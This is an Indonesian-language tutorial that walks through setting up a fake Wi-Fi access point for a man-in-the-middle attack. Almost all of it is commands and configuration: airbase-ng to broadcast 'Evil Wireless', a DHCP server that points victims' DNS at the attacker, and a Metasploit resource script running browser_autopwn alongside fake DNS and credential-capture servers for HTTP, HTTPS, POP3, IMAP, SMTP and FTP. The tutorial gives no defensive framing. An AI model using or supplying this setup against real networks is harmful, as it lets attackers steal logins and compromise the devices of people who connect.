Teknik Man-in-The-Middle Attack / FakeAP

Versi Singkat membuat Fake AP

airbase-ng -e "Free WiFi" -P -C 30 -v wlan0

Versi lengkap untuk MiTM attack

Siapkan software yang di butuhkan

sudo apt-get install subversion

Summary perintah yang digunakan

svn co http://trac.aircrack-ng.org/svn/trunk/ aircrack-ng
cd aircrack-ng/
make
make install

sudo su -
airmon-ng start wlan0
airbase-ng -e "Evil Wireless" -v mon0 &
ifconfig at0 10.0.0.1 netmask 255.255.255.0

apt-get install dhcp3-server
vi /etc/dhcp3/evil-wireless.conf

option domain-name-servers 10.0.0.1;
  
default-lease-time 60;
max-lease-time 72;
 
ddns-update-style none;
 
authoritative;
 
log-facility local7;
 
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.100 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;
}

dhcpd3 -cf /etc/dhcp3/evil-wireless.conf

ifconfig mon0 mtu 1800
ifconfig at0 mtu 1400

svn co http://metasploit.com/svn/framework3/trunk msf3    (butuh waktu lama & bandwidth)

Menggunakan gems rupanya rewel & belum stabil :( ..

apt-get install rubygems
gem install activerecord sqlite3-ruby  (butuh waktu lama & bandwidth)

vi evilwireless.rc

load db_sqlite3
db_create /root/evilwireless.db
 
use auxiliary/server/browser_autopwn
 
setg AUTOPWN_HOST 10.0.0.1
setg AUTOPWN_PORT 55550
setg AUTOPWN_URI /ads
 
set LHOST 10.0.0.1
set LPORT 45000
set SRVPORT 55550
set URIPATH /ads
 
run
 
use auxiliary/server/capture/pop3
set SRVPORT 110
set SSL false
run
 
use auxiliary/server/capture/pop3
set SRVPORT 995
set SSL true
run
 
use auxiliary/server/capture/ftp
run
 
use auxiliary/server/capture/imap
set SSL false
set SRVPORT 143
run
 
use auxiliary/server/capture/imap
set SSL true
set SRVPORT 993
run
 
use auxiliary/server/capture/smtp
set SSL false
set SRVPORT 25
run
 
use auxiliary/server/capture/smtp
set SSL true
set SRVPORT 465
run
 
use auxiliary/server/fakedns
unset TARGETHOST
set SRVPORT 5353
run
 
use auxiliary/server/fakedns
unset TARGETHOST
set SRVPORT 53
run

use auxiliary/server/capture/http
set SRVPORT 80
set SSL false
run
 
use auxiliary/server/capture/http
set SRVPORT 8080
set SSL false
run
 
use auxiliary/server/capture/http
set SRVPORT 443
set SSL true
run
 
use auxiliary/server/capture/http
set SRVPORT 8443
set SSL true
run 

./msfconsole -r evilwireless.rc